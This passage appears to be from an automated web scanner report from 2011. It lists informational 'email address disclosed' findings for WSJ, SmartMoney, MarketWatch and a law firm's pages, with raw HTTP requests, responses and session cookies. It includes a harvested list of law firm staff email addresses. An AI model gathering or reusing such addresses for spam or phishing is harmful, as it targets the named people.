Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_cc=true; s_sq=%5B%5BB%5D%5D; rsi_csl=; rsi_segs=; mbox=session#1305367797515-52119#1305369821|check#true#1305368021; s_invisit=true; JSESSIONID=0000UNTWrSDPJin0NOeglK2m-3D:-1
Content-Length: 29

Email=&AreaCode=&Phone=&Name=

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:28:57 GMT
Server: IBM_HTTP_Server/2.0.47.1-PK65782 Apache/2.0.47 (Unix) DAV/2
Keep-Alive: timeout=15, max=500
Connection: Keep-Alive
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en
Content-Length: 3255

<html>
<head>


<!--<script language="JavaScript1.1" src="scripts/djchek.js" type="text/javascript"></script>
<script language="JavaScript1.1" src="
...[SNIP]...
<A href="mailto:wsj.service@dowjones.com" style="color:#0068C0;">wsj.service@dowjones.com</A>
...[SNIP]...

23.31. https://services.wsj.com/Gryphon/jsp/find_acct.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://services.wsj.com
Path:	/Gryphon/jsp/find_acct.jsp

Issue detail

The following email address was disclosed in the response:

wsj.service@dowjones.com

Request

Response

23.32. http://sj.smartmoney.net/smscript/bucket/NA/page/0_0_SA_0001/provided/j_global/version/20110513141138.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sj.smartmoney.net
Path:	/smscript/bucket/NA/page/0_0_SA_0001/provided/j_global/version/20110513141138.js

Issue detail

The following email address was disclosed in the response:

id@Vs.tc

Request

GET /smscript/bucket/NA/page/0_0_SA_0001/provided/j_global/version/20110513141138.js HTTP/1.1
Host: sj.smartmoney.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Last-Modified: Fri, 13 May 2011 18:11:49 GMT
Vary: Accept-Encoding
Server: Apache/2.2.3 (Red Hat)
X-DEBUG-BOX-IDENT: sbkj2ksmwap03
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.5-2-x64
X-DEBUG-REQUEST: /smscript/bucket/NA/page/0_0_SA_0001/provided/j_global/version/20110513141138.js
X-DEBUG-NAMESPACE: com-sm
FastDynaPage-ServerInfo: sbkj2ksmwap03 - Fri 05/13/11 - 14:11:49 EDT
Content-Type: application/x-javascript
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Cache-Control: max-age=2746
Expires: Sat, 14 May 2011 10:59:33 GMT
Date: Sat, 14 May 2011 10:13:47 GMT
Connection: close
Content-Length: 384832

dojo.provide("jquery.tools");(function(c){function p(d,b,a){var e=this,l=d.add(this),h=d.find(a.tabs),i=b.jquery?b:d.children(b),j;h.length||(h=d.children());i.length||(i=d.parent().
...[SNIP]...
#7=s.mr($C,(vt@tt`Zvt)`fs.hav()+q+(qs?qs:s.rq(^5)),0,id,ta);qs`g;"+"`Rm('t')`5s.p_r)s.p_r(`I`a`g}^I(qs);^Q`u($3;`j$3`c^1,`G$O1',vb`I@M=^G=s.`Q`r=s.`Q^2=`H`m`g`5s.pg)`H^w@M=`H^weo=`H^w`Q`r=`H^w`Q^2`g`5!id@Vs.tc^ztc=1;s.flush`U()}`4#7`Ctl`0o,t,n,vo`2;s.@M=$Go`I`Q^2=t"+";s.`Q`r=n;s.t($3}`5pg){`H^wco`0o){`P^s\"_\",1,$8`4$Go)`Cwd^wgs`0u@v`P^sun,1,$8`4s.t()`Cwd^wdc`0u@v`P^sun,$8`4s.t()}}@8=(`H`M`k`9`3'@Os^y0`Id=^
...[SNIP]...

23.33. http://sj.smartmoney.net/smscript/bucket/NA/page/0_0_SH_0001/provided/j_global/version/20110512235911.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sj.smartmoney.net
Path:	/smscript/bucket/NA/page/0_0_SH_0001/provided/j_global/version/20110512235911.js

Issue detail

The following email address was disclosed in the response:

id@Vs.tc

Request

GET /smscript/bucket/NA/page/0_0_SH_0001/provided/j_global/version/20110512235911.js HTTP/1.1
Host: sj.smartmoney.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Last-Modified: Fri, 13 May 2011 03:59:14 GMT
Vary: Accept-Encoding
Server: Apache/2.2.3 (Red Hat)
X-DEBUG-BOX-IDENT: sbkj2ksmwap02
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.5-2-x64
X-DEBUG-REQUEST: /smscript/bucket/NA/page/0_0_SH_0001/provided/j_global/version/20110512235911.js
X-DEBUG-NAMESPACE: com-sm
FastDynaPage-ServerInfo: sbkj2ksmwap02 - Fri 05/13/11 - 05:23:24 EDT
If-Modified-Since: Fri, 13 May 2011 03:59:14 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: application/x-javascript
Cache-Control: max-age=9930
Expires: Sat, 14 May 2011 12:59:08 GMT
Date: Sat, 14 May 2011 10:13:38 GMT
Connection: close
Content-Length: 168658

dojo.provide("jquery.tools");(function(c){function p(d,b,a){var e=this,l=d.add(this),h=d.find(a.tabs),i=b.jquery?b:d.children(b),j;h.length||(h=d.children());i.length||(i=d.parent().
...[SNIP]...
#7=s.mr($C,(vt@tt`Zvt)`fs.hav()+q+(qs?qs:s.rq(^5)),0,id,ta);qs`g;"+"`Rm('t')`5s.p_r)s.p_r(`I`a`g}^I(qs);^Q`u($3;`j$3`c^1,`G$O1',vb`I@M=^G=s.`Q`r=s.`Q^2=`H`m`g`5s.pg)`H^w@M=`H^weo=`H^w`Q`r=`H^w`Q^2`g`5!id@Vs.tc^ztc=1;s.flush`U()}`4#7`Ctl`0o,t,n,vo`2;s.@M=$Go`I`Q^2=t"+";s.`Q`r=n;s.t($3}`5pg){`H^wco`0o){`P^s\"_\",1,$8`4$Go)`Cwd^wgs`0u@v`P^sun,1,$8`4s.t()`Cwd^wdc`0u@v`P^sun,$8`4s.t()}}@8=(`H`M`k`9`3'@Os^y0`Id=^
...[SNIP]...

23.34. http://sj.wsj.net/djscript/bucket/NA_WSJ/page/0_0_WA_0001/provided/j_global_slim/version/20110513080738.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sj.wsj.net
Path:	/djscript/bucket/NA_WSJ/page/0_0_WA_0001/provided/j_global_slim/version/20110513080738.js

Issue detail

The following email addresses were disclosed in the response:

infotips@yahoo.com
u-suke@kawa.net

Request

GET /djscript/bucket/NA_WSJ/page/0_0_WA_0001/provided/j_global_slim/version/20110513080738.js HTTP/1.1
Host: sj.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Last-Modified: Fri, 13 May 2011 12:21:39 GMT
Vary: Accept-Encoding
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep07 - Fri 05/13/11 - 08:34:48 EDT
If-Modified-Since: Fri, 13 May 2011 12:07:44 GMT
Content-Type: application/x-javascript
Cache-Control: max-age=3550588
Expires: Fri, 24 Jun 2011 12:34:36 GMT
Date: Sat, 14 May 2011 10:18:08 GMT
Connection: close
Content-Length: 1295583

/*
   Copyright (c) 2004-2010, The Dojo Foundation All Rights Reserved.
   Available via Academic Free License >= 2.1 OR the modified BSD license.
   see: http://dojotoolkit.org/license for details
*/

if(
...[SNIP]...
<u-suke@kawa.net>
...[SNIP]...
","anus","biotches","boobs","m0r0n","fuckage","h-o-n-k-y","fuckkk","c.u.n.t.","f-ing","cornholed","fuctard","mcwar","oblahblah","mcshit","http://www.debtchallenges.com","http://blog.tradingideas.in/","infotips@yahoo.com","dirtbags","azzes","goddam","bimbo","chick","doodoohead","www.themastertrader.net","monoprice.com","http://www.dollartalk.net","shlt","dumbasses","phucked","http://www.jewwatch.com/","shiti","www.you
...[SNIP]...

23.35. http://sj.wsj.net/djscript/bucket/NA_WSJ/page/0_0_WA_0002/provided/j_global_slim/version/20110506141003.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sj.wsj.net
Path:	/djscript/bucket/NA_WSJ/page/0_0_WA_0002/provided/j_global_slim/version/20110506141003.js

Issue detail

The following email addresses were disclosed in the response:

infotips@yahoo.com
u-suke@kawa.net

Request

GET /djscript/bucket/NA_WSJ/page/0_0_WA_0002/provided/j_global_slim/version/20110506141003.js HTTP/1.1
Host: sj.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Last-Modified: Fri, 06 May 2011 18:37:11 GMT
Vary: Accept-Encoding
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep05 - Fri 05/06/11 - 14:37:19 EDT
If-Modified-Since: Fri, 06 May 2011 18:10:15 GMT
Content-Type: application/x-javascript
Cache-Control: max-age=2969669
Expires: Fri, 17 Jun 2011 19:04:13 GMT
Date: Sat, 14 May 2011 10:09:44 GMT
Connection: close
Content-Length: 1020467

/*
   Copyright (c) 2004-2010, The Dojo Foundation All Rights Reserved.
   Available via Academic Free License >= 2.1 OR the modified BSD license.
   see: http://dojotoolkit.org/license for details
*/

if(
...[SNIP]...
<u-suke@kawa.net>
...[SNIP]...
","anus","biotches","boobs","m0r0n","fuckage","h-o-n-k-y","fuckkk","c.u.n.t.","f-ing","cornholed","fuctard","mcwar","oblahblah","mcshit","http://www.debtchallenges.com","http://blog.tradingideas.in/","infotips@yahoo.com","dirtbags","azzes","goddam","bimbo","chick","doodoohead","www.themastertrader.net","monoprice.com","http://www.dollartalk.net","shlt","dumbasses","phucked","http://www.jewwatch.com/","shiti","www.you
...[SNIP]...

23.36. http://sj.wsj.net/djscript/require/j_global_slim/version/20110512230933.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sj.wsj.net
Path:	/djscript/require/j_global_slim/version/20110512230933.js

Issue detail

The following email address was disclosed in the response:

id@Vs.tc

Request

GET /djscript/require/j_global_slim/version/20110512230933.js HTTP/1.1
Host: sj.wsj.net
Proxy-Connection: keep-alive
Referer: http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep05 - Thu 05/12/11 - 23:09:39 EDT
Last-Modified: Fri, 13 May 2011 03:09:39 GMT
If-Modified-Since: Fri, 13 May 2011 03:09:38 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: max-age=3518609
Expires: Fri, 24 Jun 2011 03:35:54 GMT
Date: Sat, 14 May 2011 10:12:25 GMT
Connection: close
Content-Length: 224266

if(typeof dj=="undefined"){dj={};}
if(typeof dj.context=="undefined"){dj.context={};}
if(typeof djConfig=="undefined"){this.djConfig={};}
(function(){var ctx=dj.context,djc=djConfig;ctx.core=(ctx.cor
...[SNIP]...
$4)#7=s.mr($C,(vt@tt`Zvt)`fs.hav()+q+(qs?qs:s.rq(^5)),0,id,ta);qs`g;`Rm('t')`5s.p_r)s.p_r(`I`a`g}^I(qs);^Q`u($3;`j$3`c^1,`G$O1',vb`I@M=^G=s.`Q`r=s.`Q^2=`H`m`g`5s.pg)`H^w@M=`H^weo=`H^w`Q`r=`H^w`Q^2`g`5!id@Vs.tc^ztc=1;s.flush`U()}`4#7`Ctl`0o,t,n,vo`2;s.@M=$Go`I`Q^2=t;s.`Q`r=n;s.t($3}`5pg){`H^wco`0o){`P^s\"_\",1,$8`4$Go)`Cwd^wgs`0u@v`P^sun,1,$8`4s.t()`Cwd^wdc`0u@v`P^sun,$8`4s.t()}}@8=(`H`M`k`9`3'@Os^y0`Id=^A;s
...[SNIP]...

23.37. http://sj.wsj.net/djscript/require/j_global_slim/version/20110513185311.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sj.wsj.net
Path:	/djscript/require/j_global_slim/version/20110513185311.js

Issue detail

The following email address was disclosed in the response:

id@Vs.tc

Request

GET /djscript/require/j_global_slim/version/20110513185311.js HTTP/1.1
Host: sj.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Last-Modified: Fri, 13 May 2011 22:53:17 GMT
Vary: Accept-Encoding
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep01 - Fri 05/13/11 - 19:19:24 EDT
If-Modified-Since: Fri, 13 May 2011 22:53:14 GMT
Content-Type: application/x-javascript
Cache-Control: max-age=3589870
Expires: Fri, 24 Jun 2011 23:20:15 GMT
Date: Sat, 14 May 2011 10:09:05 GMT
Connection: close
Content-Length: 224266

if(typeof dj=="undefined"){dj={};}
if(typeof dj.context=="undefined"){dj.context={};}
if(typeof djConfig=="undefined"){this.djConfig={};}
(function(){var ctx=dj.context,djc=djConfig;ctx.core=(ctx.cor
...[SNIP]...
$4)#7=s.mr($C,(vt@tt`Zvt)`fs.hav()+q+(qs?qs:s.rq(^5)),0,id,ta);qs`g;`Rm('t')`5s.p_r)s.p_r(`I`a`g}^I(qs);^Q`u($3;`j$3`c^1,`G$O1',vb`I@M=^G=s.`Q`r=s.`Q^2=`H`m`g`5s.pg)`H^w@M=`H^weo=`H^w`Q`r=`H^w`Q^2`g`5!id@Vs.tc^ztc=1;s.flush`U()}`4#7`Ctl`0o,t,n,vo`2;s.@M=$Go`I`Q^2=t;s.`Q`r=n;s.t($3}`5pg){`H^wco`0o){`P^s\"_\",1,$8`4$Go)`Cwd^wgs`0u@v`P^sun,1,$8`4s.t()`Cwd^wdc`0u@v`P^sun,$8`4s.t()}}@8=(`H`M`k`9`3'@Os^y0`Id=^A;s
...[SNIP]...

23.38. http://smartmoney.onespot.com/ism/nextclick_wsjdn/index.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://smartmoney.onespot.com
Path:	/ism/nextclick_wsjdn/index.js

Issue detail

The following email address was disclosed in the response:

feedback@onespot.com

Request

GET /ism/nextclick_wsjdn/index.js?url=http%3A%2F%2Fwww.smartmoney.com%2Finvest%2Fstrategies%2Fheavy-metal-debate-silver-vs-gold-1305310258887%2F&have_content=true&callback=onespot.dispatch&_=1305368029696 HTTP/1.1
Host: smartmoney.onespot.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Age: 1510
Cache-Control: public, max-age=3600
Content-Type: text/javascript; charset=utf-8
Date: Sat, 14 May 2011 10:20:41 GMT
ETag: "34982d03070f1f1784d078e394a25991"
Server: nginx/0.7.67 + Phusion Passenger 2.2.15 (mod_rails/mod_rack)
Status: 200
Via: 1.1 varnish
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Runtime: 51
X-Varnish: 1066828323 1066801787
Content-Length: 5661
Connection: keep-alive

onespot.dispatch({"status":"ready","results":"\r\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\r\n <title>OneSpot NextClick™</title>\r\n <link rel=\"styles
...[SNIP]...
<a href=\"mailto:feedback@onespot.com\">feedback@onespot.com</a>
...[SNIP]...

23.39. http://topics.wsj.com/djscript/latest/dj/widget/panels/view/SlidePanel.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://topics.wsj.com
Path:	/djscript/latest/dj/widget/panels/view/SlidePanel.js

Issue detail

The following email address was disclosed in the response:

onlinejournal@wsj.com

Request

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 10:12:32 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep08 - Sat 05/14/11 - 00:44:45 EDT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 79968

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<a href="mailto:onlinejournal@wsj.com" class="linkbtn">mailto:onlinejournal@wsj.com</a>
...[SNIP]...

23.40. http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://topics.wsj.com
Path:	/subject/W/wall-street-journal/nbc-news-polls/6052

Issue detail

The following email address was disclosed in the response:

topics@wsj.com

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:23 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep01 - Fri 05/13/11 - 06:15:02 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:12:38 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 117835

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<a class="linkbtn" href="mailto:topics@wsj.com?subject=Topic feedback. Page: Wall Street Journal/NBC News Polls">
...[SNIP]...

23.41. http://w.sharethis.com/button/buttons.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://w.sharethis.com
Path:	/button/buttons.js

Issue detail

The following email address was disclosed in the response:

support@sharethis.com

Request

GET /button/buttons.js HTTP/1.1
Host: w.sharethis.com
Proxy-Connection: keep-alive
Referer: http://allthingsd.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Fri, 06 May 2011 17:26:10 GMT
ETag: "3067b-9ecb-4a29ec924b080"
Accept-Ranges: bytes
Content-Type: application/javascript
Date: Sat, 14 May 2011 10:12:57 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 40651

var cookie=new function(){return{setCookie:function(d,f,h){if(h){var c=new Date();c.setTime(c.getTime()+(h*24*60*60*1000));var a="; expires="+c.toGMTString()}else{var a=""}var b=d+"="+escape(f)+a;var
...[SNIP]...
lse};stLight.onReady=function(){stLight.readyRun=true;if(stLight.publisher==null){if(typeof(window.console)!=="undefined"){try{console.log("Please specify a ShareThis Publisher Key \nFor help, contact support@sharethis.com")}catch(a){}}}var b="share4x";if(switchTo5x){b="share5x"}if(stLight.hasButtonOnPage()){if(stLight.loadedFromBar){if(switchTo5x){b="bar_share5x"}else{b="bar_share4x"}}}else{if(stLight.loadedFromBar){b=
...[SNIP]...

23.42. http://www.dinse.com/about_the_firm/Employment.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/about_the_firm/Employment.html

Issue detail

The following email address was disclosed in the response:

sstrempel@dinse.com

Request

Response

23.43. http://www.dinse.com/attorneys/knapp.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/attorneys/knapp.html

Issue detail

The following email address was disclosed in the response:

sknapp@dinse.com

Request

Response

23.44. http://www.dinse.com/attorneys/mckearin.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/attorneys/mckearin.html

Issue detail

The following email address was disclosed in the response:

rmckearin@dinse.com

Request

Response

23.45. http://www.dinse.com/attorneys/monahan.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/attorneys/monahan.html

Issue detail

The following email address was disclosed in the response:

jmonahan@dinse.com

Request

Response

23.46. http://www.dinse.com/contact/email.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/contact/email.html

Issue detail

The following email addresses were disclosed in the response:

aahmadi@dinse.com
aclark@dinse.com
ahart@dinse.com
amacilwaine@dinse.com
amclaughlin@dinse.com
bcory@dinse.com
bmurphy@dinse.com
dgurtman@dinse.com
ecolodny@dinse.com
ekleinberg@dinse.com
jmcmahan@dinse.com
jmonahan@dinse.com
jnolan@dinse.com
kmcandrew@dinse.com
lcohen@dinse.com
lcole@dinse.com
mlangan@dinse.com
mlebowitz@dinse.com
nandreson@dinse.com
ndetarnowsky@dinse.com
rberger@dinse.com
rmckearin@dinse.com
sdatny@dinse.com
shoar@dinse.com
sknapp@dinse.com
ssmith@dinse.com
sstrempel@dinse.com

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:32:54 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:32:53 GMT; path=/
Content-Length: 29232

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - Contact - Email Addresses</title>
<meta http-equiv=
...[SNIP]...
<A href="mailto:aahmadi@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:dgurtman@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:rmckearin@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:nandreson@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:ahart@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:amclaughlin@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:rmckearin@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:rberger@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:shoar@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:ahart@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:jmcmahan@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:amclaughlin@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:aclark@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:ekleinberg@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:shoar@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:jmonahan@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:jmcmahan@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:lcohen@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:sknapp@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:ekleinberg@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:bmurphy@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:lcole@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:mlangan@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:sknapp@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:jnolan@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:ecolodny@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:mlebowitz@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:mlangan@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:ssmith@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:jnolan@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:bcory@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:amacilwaine@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:mlebowitz@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:sstrempel@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:ssmith@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:ndetarnowsky@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:kmcandrew@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:amacilwaine@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:sdatny@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:sstrempel@dinse.com?Subject=Dinse.com">
...[SNIP]...
<A href="mailto:sdatny@dinse.com?Subject=Dinse.com">
...[SNIP]...

23.47. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The following email address was disclosed in the response:

cjaffe@marketwatch.com

Request

GET /story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
